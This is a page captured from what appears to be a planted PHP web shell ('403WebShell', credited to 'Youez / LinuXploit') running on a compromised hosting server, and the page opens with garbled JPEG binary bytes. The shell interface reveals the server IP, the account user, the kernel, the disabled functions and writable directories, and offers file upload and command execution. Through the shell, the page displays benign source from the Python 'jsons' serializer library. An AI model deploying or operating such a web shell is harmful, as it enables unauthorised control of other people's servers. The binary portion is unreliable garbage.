JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 153.92.12.14  /  Your IP : 216.73.217.26
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python311/lib/python3.11/site-packages/jsons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python311/lib/python3.11/site-packages/jsons/_lizers_impl.py
"""
PRIVATE MODULE: do not import (from) it directly.

This module contains functionality for setting and getting serializers and
deserializers.
"""
from typing import Optional, Dict, Sequence, Union

from jsons._cache import cached
from jsons._common_impl import StateHolder, get_class_name
from jsons._compatibility_impl import get_naked_class


def set_serializer(
        func: callable,
        cls: Union[type, Sequence[type]],
        high_prio: bool = True,
        fork_inst: type = StateHolder) -> None:
    """
    Set a serializer function for the given type. You may override the default
    behavior of ``jsons.load`` by setting a custom serializer.

    The ``func`` argument must take one argument (i.e. the object that is to be
    serialized) and also a ``kwargs`` parameter. For example:

    >>> def func(obj, **kwargs):
    ...    return dict()

    You may ask additional arguments between ``cls`` and ``kwargs``.

    :param func: the serializer function.
    :param cls: the type or sequence of types this serializer can handle.
    :param high_prio: determines the order in which is looked for the callable.
    :param fork_inst: if given, it uses this fork of ``JsonSerializable``.
    :return: None.
    """
    if isinstance(cls, Sequence):
        for cls_ in cls:
            set_serializer(func, cls_, high_prio, fork_inst)
    elif cls:
        index = 0 if high_prio else len(fork_inst._classes_serializers)
        fork_inst._classes_serializers.insert(index, cls)
        cls_name = get_class_name(cls, fully_qualified=True)
        fork_inst._serializers[cls_name.lower()] = func
    else:
        fork_inst._serializers['nonetype'] = func


def set_deserializer(
        func: callable,
        cls: Union[type, Sequence[type]],
        high_prio: bool = True,
        fork_inst: type = StateHolder) -> None:
    """
    Set a deserializer function for the given type. You may override the
    default behavior of ``jsons.dump`` by setting a custom deserializer.

    The ``func`` argument must take two arguments (i.e. the dict containing the
    serialized values and the type that the values should be deserialized into)
    and also a ``kwargs`` parameter. For example:

    >>> def func(dict_, cls, **kwargs):
    ...    return cls()

    You may ask additional arguments between ``cls`` and ``kwargs``.

    :param func: the deserializer function.
    :param cls: the type or sequence of types this serializer can handle.
    :param high_prio: determines the order in which is looked for the callable.
    :param fork_inst: if given, it uses this fork of ``JsonSerializable``.
    :return: None.
    """
    if isinstance(cls, Sequence):
        for cls_ in cls:
            set_deserializer(func, cls_, high_prio, fork_inst)
    elif cls:
        index = 0 if high_prio else len(fork_inst._classes_deserializers)
        fork_inst._classes_deserializers.insert(index, cls)
        cls_name = get_class_name(cls, fully_qualified=True)
        fork_inst._deserializers[cls_name.lower()] = func
    else:
        fork_inst._deserializers['nonetype'] = func


@cached
def get_serializer(
        cls: type,
        fork_inst: Optional[type] = StateHolder) -> callable:
    """
    Return the serializer function that would be used for the given ``cls``.
    :param cls: the type for which a serializer is to be returned.
    :param fork_inst: if given, it uses this fork of ``JsonSerializable``.
    :return: a serializer function.
    """
    serializer = _get_lizer(cls, fork_inst._serializers,
                            fork_inst._classes_serializers, fork_inst)
    return serializer


@cached
def get_deserializer(
        cls: type,
        fork_inst: Optional[type] = StateHolder) -> callable:
    """
    Return the deserializer function that would be used for the given ``cls``.
    :param cls: the type for which a deserializer is to be returned.
    :param fork_inst: if given, it uses this fork of ``JsonSerializable``.
    :return: a deserializer function.
    """
    deserializer = _get_lizer(cls, fork_inst._deserializers,
                              fork_inst._classes_deserializers, fork_inst)
    return deserializer


def _get_lizer(
        cls: type,
        lizers: Dict[str, callable],
        classes_lizers: list,
        fork_inst: type,
        recursive: bool = False) -> callable:
    cls_name = get_class_name(cls, str.lower, fully_qualified=True)
    lizer = (lizers.get(cls_name, None)
             or _get_lizer_by_parents(cls, lizers, classes_lizers, fork_inst))
    if not lizer and not recursive and hasattr(cls, '__supertype__'):
        return _get_lizer(cls.__supertype__, lizers,
                          classes_lizers, fork_inst, True)
    return lizer


def _get_lizer_by_parents(
        cls: type,
        lizers: Dict[str, callable],
        classes_lizers: list,
        fork_inst: type) -> callable:
    result = None
    parents = _get_parents(cls, classes_lizers)
    if parents:
        pname = get_class_name(parents[0], str.lower, fully_qualified=True)
        result = lizers[pname]
    return result


def _get_parents(cls: type, lizers: list) -> list:
    """
    Return a list of serializers or deserializers that can handle a parent
    of ``cls``.
    :param cls: the type that
    :param lizers: a list of serializers or deserializers.
    :return: a list of serializers or deserializers.
    """
    parents = []
    naked_cls = get_naked_class(cls)
    for cls_ in lizers:
        try:
            if issubclass(naked_cls, cls_):
                parents.append(cls_)
        except (TypeError, AttributeError):
            pass  # Some types do not support `issubclass` (e.g. Union).
    return parents

Youez - 2016 - github.com/yon3zu
LinuXploit